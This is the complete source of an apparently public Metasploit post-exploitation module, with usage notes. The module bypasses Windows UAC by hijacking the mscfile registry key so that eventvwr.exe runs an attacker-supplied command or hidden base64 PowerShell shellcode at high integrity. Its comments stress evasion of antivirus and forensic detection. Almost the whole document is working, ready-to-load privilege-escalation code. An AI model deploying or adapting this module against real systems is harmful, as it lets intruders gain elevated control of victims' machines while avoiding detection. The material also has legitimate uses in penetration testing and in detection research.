This Metasploit module is an implementation of fileless uac bypass using cmd.exe instead of powershell.exe (OJ msf module). This module will create the required registry entry in the current user's hive, set the default value to whatever you pass via the EXEC_COMMAND parameter, and runs eventvwr.exe (hijacking the process being started to gain code execution).
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##
##
# Exploit Title : enigma_fileless_uac_bypass.rb
# Module Author : pedr0 Ubuntu [r00t-3xp10it]
# Vuln discover : enigma0x3 | @mattifestation
# Tested on : Windows 7 | Windows 8 | Windows 10
# POC:
https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking
#
#
#
# [ DESCRIPTION ]
# Most of the UAC bypass techniques require dropping a file to disk (for
example, placing a DLL on disk
# to perform a DLL hijack). The technique used in this module differs from
the other public methods and
# provides a useful new technique that does not rely on a privileged file
copy, code injection, or placing
# a traditional file on disk.
#
# As a normal user, you have write access to keys in HKCU, if an elevated
process interacts with keys you
# are able to manipulate, you can potentially interfere with actions a
high-integrity process is attempting
# to perform (hijack the process being started). Due to the fact that I was
able to hijack the process, it
# is possible to simply execute whatever malicious cmd.exe command you
wish. This means that code execution
# has been achieved in a high integrity process (bypassing UAC) without
dropping a DLL or other file down to
# the file system. This significantly reduces the risk to the attacker
because they arenat placing a traditional
# file on the file system that can be caught by AV/HIPS or forensically
identified later.
# "This module differs from 'OJ msf module' because it uses cmd.exe insted
of powershell.exe"
# "This module will not work if target UAC level its set to 'Always Notify'"
#
#
#
# [ MODULE OPTIONS ]
# The session number to run this module on => set SESSION 3
# The cmd.exe command to be executed (target) => set EXEC_COMMAND start
firefox.exe www.househot.com
# Check target vulnerability settings/status? => set CHECK_VULN true
# Delete malicious registry hive keys/values? => set DEL_REGKEY true
# Exec powershell shellcode insted of a cmd? => set USE_POWERSHELL true
# ---
# HINT: To deploy a powershell payload (shellcode string) we need to set
the option
# 'USE_POWERSHELL true' and input the base64 encoded 'shellcode' into
'EXEC_COMMAND'
# EXAMPLE: set USE_POWERSHELL true
# EXAMPLE: set EXEC_COMMAND aDfSjRnGlsWlDtBsQkGftmoEdD==
# ---
#
#
#
# [ PORT MODULE TO METASPLOIT DATABASE ]
# Kali linux COPY TO:
/usr/share/metasploit-framework/modules/post/windows/escalate/enigma_fileless_uac_bypass.rb
# Ubuntu linux COPY TO:
/opt/metasploit/apps/pro/msf3/modules/post/windows/escalate/enigma_fileless_uac_bypass.rb
# Manually Path Search: root@kali:~# locate modules/post/windows/escalate
#
#
# [ LOAD/USE AUXILIARY ]
# meterpreter > background
# msf exploit(handler) > reload_all
# msf exploit(handler) > use
post/windows/escalate/enigma_fileless_uac_bypass
# msf post(enigma_fileless_uac_bypass) > info
# msf post(enigma_fileless_uac_bypass) > show options
# msf post(enigma_fileless_uac_bypass) > show advanced options
# msf post(enigma_fileless_uac_bypass) > set [option(s)]
# msf post(enigma_fileless_uac_bypass) > exploit
#
# [ HINT ]
# In some linux distributions postgresql needs to be started and
# metasploit database deleted/rebuild to be abble to load module.
# 1 - /etc/init.d/postgresql start
# 2 - msfdb delete (optional)
# 3 - msfdb init (optional)
# 4 - msfconsole
# 5 - reload_all
##
# ----------------------------
# Module Dependencies/requires
# ----------------------------
require 'rex'
require 'msf/core'
require 'msf/core/post/common'
require 'msf/core/post/windows/priv'
require 'msf/core/post/windows/registry'
# ----------------------------------
# Metasploit Class name and includes
# ----------------------------------
class MetasploitModule < Msf::Post
Rank = ExcellentRanking
include Msf::Post::Common
include Msf::Post::Windows::Priv
include Msf::Post::Windows::Error
include Msf::Post::Windows::Registry
# -----------------------------------------
# Building Metasploit/Armitage info GUI/CLI
# -----------------------------------------
def initialize(info={})
super(update_info(info,
'Name' => 'enigma fileless uac bypass
[RCE]',
'Description' => %q{
Implementation of fileless uac
bypass by enigma and mattifestation using cmd.exe insted of powershell.exe
(OJ msf module). This module will create the required registry entry in the
current useras hive, set the default value to whatever you pass via the
EXEC_COMMAND parameter, and runs eventvwr.exe (hijacking the process being
started to gain code execution).
},
'License' => UNKNOWN_LICENSE,
'Author' =>
[
'Module Author: pedr0 Ubuntu
[r00t-3xp10it]', # post-module author
'Vuln discover : enigma0x3 |
mattifestation', # credits
],
'Version' => '$Revision: 1.7',
'DisclosureDate' => 'jan 8 2017',
'Platform' => 'windows',
'Arch' => 'x86_x64',
'Privileged' => 'false', # thats no need for
privilege escalation..
'Targets' =>
[
# Tested againts windows 7 |
Windows 8 | Windows 10
[ 'Windows XP', 'Windows VISTA',
'Windows 7', 'Windows 8', 'Windows 9', 'Windows 10' ]
],
'DefaultTarget' => '6', # default its to run
againts windows 10
'References' =>
[
[ 'URL', 'POC: goo.gl/XHQ6aF' ],
[ 'URL', '
https://github.com/r00t-3xp10it' ],
[ 'URL', '
https://github.com/r00t-3xp10it/msf-auxiliarys' ]
],
'DefaultOptions' =>
{
'SESSION' => '1', # Default its to
run againts session 1
},
'SessionTypes' => [ 'meterpreter' ]
))
register_options(
[
OptString.new('SESSION', [ true, 'The
session number to run this module on']),
OptString.new('EXEC_COMMAND', [ false, 'The
cmd command to be executed (eg start notepad.exe)']),
OptBool.new('CHECK_VULN', [ false, 'Check
target vulnerability status?' , false])
], self.class)
register_advanced_options(
[
OptBool.new('USE_POWERSHELL', [ false,
'Execute powershell shellcode insted of a cmd command?' , false]),
OptBool.new('DEL_REGKEY', [ false, 'Delete
malicious registry key hive?' , false])
], self.class)
end
# -------------------------------------------------------
# GAIN REMOTE CODE EXCUTION BY HIJACKING EVENTVWR PROCESS
# -------------------------------------------------------
def ls_stage1
r=''
session = client
vul_serve = "eventvwr.exe" # vulnerable soft to be hijacked
exec_comm = datastore['EXEC_COMMAND'] # my cmd command to execute (OR
powershell shellcode)
uac_level = "ConsentPromptBehaviorAdmin" # uac level key
comm_path = "%SystemRoot%\\System32\\cmd.exe /c" # cmd.exe %comspec% path
regi_hive = "REG ADD
HKCU\\Software\\Classes\\mscfile\\shell\\open\\command" # registry hive key
to be hijacked
psh_lpath =
"%SystemRoot%\\System32\\WindowsPowershell\\v1.0\\powershell.exe" #
powershell.exe %comspec% path
psh_comma = "#{psh_lpath} -nop -wind hidden -Exec Bypass -noni -enc" #
use_powershell advanced option command
uac_hivek =
"HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System" #
uac hive key
# check for proper config settings enter
# to prevent 'unset all' from deleting default options...
if datastore['EXEC_COMMAND'] == 'nil'
print_error("Options not configurated correctly...")
print_warning("Please set EXEC_COMMAND option!")
return nil
else
print_status("Hijacking eventvwr.exe process!")
Rex::sleep(1.5)
end
# search in target regedit if eventvwr calls mmc.exe
print_warning("Reading process registry hive keys...")
Rex::sleep(1.0)
if registry_enumkeys("HKCR\\mscfile\\shell\\open\\command")
print_good(" exec => remote registry hive key found!")
Rex::sleep(1.0)
else
# registry hive key not found, aborting module execution.
print_warning("Hive key: HKCR\\mscfile\\shell\\open\\command (mmc.exe
call)")
print_error("[ABORT]: module cant find the registry hive key
needed...")
print_error("System does not appear to be vulnerable to the exploit
code!")
print_line("")
Rex::sleep(1.0)
return nil
end
# check target UAC settings (always notify - will abort module
execution)
check_success = registry_getvaldata("#{uac_hivek}","#{uac_level}")
# a dword:2 value it means 'always notify' setting is active.
if check_success == 2
print_warning("Target UAC set to: #{check_success} (always notify)")
print_error("[ABORT]: module can not work under this
condictions...")
print_error("Remote system its not vulnerable to the exploit code!")
print_line("")
Rex::sleep(1.0)
return nil
# a dword:nil value it means that we are running againts a
'non-uac-system'
elsif check_success.nil?
print_warning("UAC DWORD DATA EMPTY (NON-UAC-SYSTEM?)")
print_error("[ABORT]: module can not work under this
condictions...")
print_error("Remote system its not vulnerable to the exploit code!")
print_line("")
Rex::sleep(1.0)
return nil
else
# all good in UAC settings :D
print_good(" exec => Target UAC set to: #{check_success}
(exploitable)")
Rex::sleep(1.0)
end
#
# chose to execute a single command in cmd.exe syntax logic
# or to execute a shellcode(base64) string using powershell.exe
#
if datastore['USE_POWERSHELL'] == true
comm_inje = "#{regi_hive} /ve /t REG_SZ /d \"#{psh_comma}
#{exec_comm}\" /f"
print_good(" exec => Injecting shellcode(base64) string
(powershell.exe)")
Rex::sleep(1.0)
else
comm_inje = "#{regi_hive} /ve /t REG_SZ /d \"#{comm_path}
#{exec_comm}\" /f"
print_good(" exec => Injecting cmd command string (cmd.exe)")
Rex::sleep(1.0)
end
# Execute process hijacking in registry (cmd.exe OR powershell.exe)...
# REG ADD HKCU\Software\Classes\mscfile\shell\open\command /ve /t REG_SZ
/d "powershell.exe -nop -enc aDfSjRnGlsgVkGftmoEdD==" /f
# REG ADD HKCU\Software\Classes\mscfile\shell\open\command /ve /t REG_SZ
/d "c:\windows\System32\cmd.exe /c start notepad.exe" /f
print_good(" exec => Hijacking process to gain code execution...")
r = session.sys.process.execute("cmd.exe /c #{comm_inje}", nil, {'Hidden'
=> true, 'Channelized' => true})
# give a proper time to refresh regedit 'enigma0x3' :D
Rex::sleep(4.5)
# start remote service to gain code execution
print_good(" exec => Starting eventvwr.exe native process...")
r = session.sys.process.execute("cmd.exe /c start #{vul_serve}", nil,
{'Hidden' => true, 'Channelized' => true})
Rex::sleep(1.0)
# close channel when done
print_status("UAC-RCE Credits: enigma0x3 + @mattifestation")
print_line("")
r.channel.close
r.close
# error exception funtion
rescue ::Exception => e
print_error("Error: #{e.class} #{e}")
end
# ----------------------------------------------------
# DELETE MALICIOUS REGISTRY ENTRY (process hijacking)
# ----------------------------------------------------
def ls_stage2
r=''
session = client
reg_clean = "REG DELETE HKCU\\Software\\Classes\\mscfile /f" # registry
hive to be clean
# check for proper config settings enter
# to prevent 'unset all' from deleting default options...
if datastore['DEL_REGKEY'] == 'nil'
print_error("Options not configurated correctly...")
print_warning("Please set DEL_REGKEY option!")
return nil
else
print_status("Revert eventvwr.exe process hijack!")
Rex::sleep(1.5)
end
# search in target regedit if hijacking method allready exists
print_warning("Reading process registry hive keys...")
Rex::sleep(1.0)
if
registry_enumkeys("HKCU\\Software\\Classes\\mscfile\\shell\\open\\command")
print_good(" exec => Remote registry hive key found!")
Rex::sleep(1.0)
else
# registry hive key not found, aborting module execution.
print_warning("Hive key:
HKCU\\Software\\Classes\\mscfile\\shell\\open\\command")
print_error("[ABORT]: module cant find the registry hive key
needed...")
print_error("System does not appear to be vulnerable to the exploit
code!")
print_line("")
Rex::sleep(1.0)
return nil
end
# Delete hijacking hive keys from target regedit...
# REG DELETE HKCU\Software\Classes /f -> mscfile\shell\open\command
print_good(" exec => Deleting HKCU hive registry keys...")
r = session.sys.process.execute("cmd.exe /c #{reg_clean}", nil, {'Hidden'
=> true, 'Channelized' => true})
# give a proper time to refresh regedit
Rex::sleep(3.0)
# check if remote registry hive keys was deleted successefuly
if
registry_enumkeys("HKCU\\Software\\Classes\\mscfile\\shell\\open\\command")
print_error("Module can not verify if deletion has successefully!")
else
print_status("Registry hive keys deleted successefuly!")
end
Rex::sleep(1.0)
# close channel when done
print_status("process hijack reverted to default stage!")
print_line("")
r.channel.close
r.close
# error exception funtion
rescue ::Exception => e
print_error("Error: #{e.class} #{e}")
end
# -------------------------------------------
# CHECK TARGET VULNERABILITY STATUS/EXISTANCE
# -------------------------------------------
def ls_stage3
r=''
session = client
vuln_soft = "eventvwr.exe" # vulnerable software name
uac_level = "ConsentPromptBehaviorAdmin" # uac level key
vuln_hive = "HKCR\\mscfile\\shell\\open\\command" # vulnerable hive key
call (mmc.exe)
vuln_key = "HKCU\\Software\\Classes\\mscfile\\shell\\open\\command" #
vuln hijack key
uac_hivek =
"HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System" #
uac hive key
# check for proper config settings enter
# to prevent 'unset all' from deleting default options...
if datastore['CHECK_VULN'] == 'nil'
print_error("Options not configurated correctly...")
print_warning("Please set CHECK_VULN option!")
return nil
else
print_status("Checking target vulnerability details!")
Rex::sleep(1.5)
end
print_warning("Reading process registry hive keys...")
Rex::sleep(2.0)
# check target registry hive/key settings (mmc.exe call)
if registry_enumkeys("HKCR\\mscfile\\shell\\open\\command")
report_on = "EXPLOITABLE"
else
vuln_hive = "NOT FOUND"
report_on = "NOT EXPLOITABLE"
end
# check target registry hive/key settings (hijacking key)
if
registry_enumkeys("HKCU\\Software\\Classes\\mscfile\\shell\\open\\command")
report_tw = "HIJACK HIVE ACTIVE"
else
vuln_key = "NOT FOUND"
report_tw = "HIJACK HIVE NOT PRESENT"
end
# check target registry hive/key settings (UAC level settings)
check_uac = registry_getvaldata("#{uac_hivek}","#{uac_level}")
# a dword:2 value it means 'always notify' setting is active.
if check_uac == 2
report_level = "ALWAYS NOTIFY (NOT EXPLOITABLE)"
# a dword:nil value it means that we are running againts a
'non-uac-system'
elsif check_uac.nil?
report_level = "DWORD DATA EMPTY (NON-UAC-SYSTEM?)"
else
# all good in UAC settings :D
report_level = "#{check_uac} (EXPLOITABLE)"
end
print_line("")
# display target registry settings to user...
# i hope you are smart enouth to recognise a vulnerable output :D
print_line("VULNERABLE_SOFT : #{vuln_soft}")
print_line(" UAC_LEVEL : #{report_level}")
print_line(" VULN_HIVE : #{vuln_hive}")
print_line(" KEY_INFO : #{report_on}")
print_line("")
print_line(" HIJACK_HIVE : #{vuln_key}")
print_line(" KEY_INFO : #{report_tw}")
print_line("")
Rex::sleep(1.0)
end
# ------------------------------------------------
# MAIN DISPLAY WINDOWS (ALL MODULES - def run)
# Running sellected modules against session target
# ------------------------------------------------
def run
session = client
# Variable declarations (msf API calls)
oscheck = client.fs.file.expand_path("%OS%")
sysnfo = session.sys.config.sysinfo
runtor = client.sys.config.getuid
runsession = client.session_host
directory = client.fs.dir.pwd
# Print banner and scan results on screen
print_line(" +----------------------------------------------+")
print_line(" | enigma fileless UAC bypass command execution |")
print_line(" | Author : r00t-3xp10it |")
print_line(" +----------------------------------------------+")
print_line("")
print_line(" Running on session : #{datastore['SESSION']}")
print_line(" Computer : #{sysnfo['Computer']}")
print_line(" Operative System : #{sysnfo['OS']}")
print_line(" Target IP addr : #{runsession}")
print_line(" Payload directory : #{directory}")
print_line(" Client UID : #{runtor}")
print_line("")
print_line("")
#
# the 'def check()' funtion that rapid7 requires to accept new modules.
# Guidelines for Accepting Modules and Enhancements:
https://goo.gl/OQ6HEE
#
# check for proper operative system (windows-not-wine)
if not oscheck == "Windows_NT"
print_error("[ ABORT ]: This module only works againts windows
systems")
return nil
end
# check for proper session (meterpreter)
# the non-return of sysinfo command reveals
# that we are not on a meterpreter session!
if not sysinfo.nil?
print_status("Running module against: #{sysnfo['Computer']}")
else
print_error("[ ABORT ]: This module only works against meterpreter
sessions!")
return nil
end
# elevate session privileges befor runing options
client.sys.config.getprivs.each do |priv|
end
# ------------------------------------
# Selected settings to run
# ------------------------------------
if datastore['EXEC_COMMAND']
ls_stage1
end
if datastore['DEL_REGKEY']
ls_stage2
end
if datastore['CHECK_VULN']
ls_stage3
end
end
end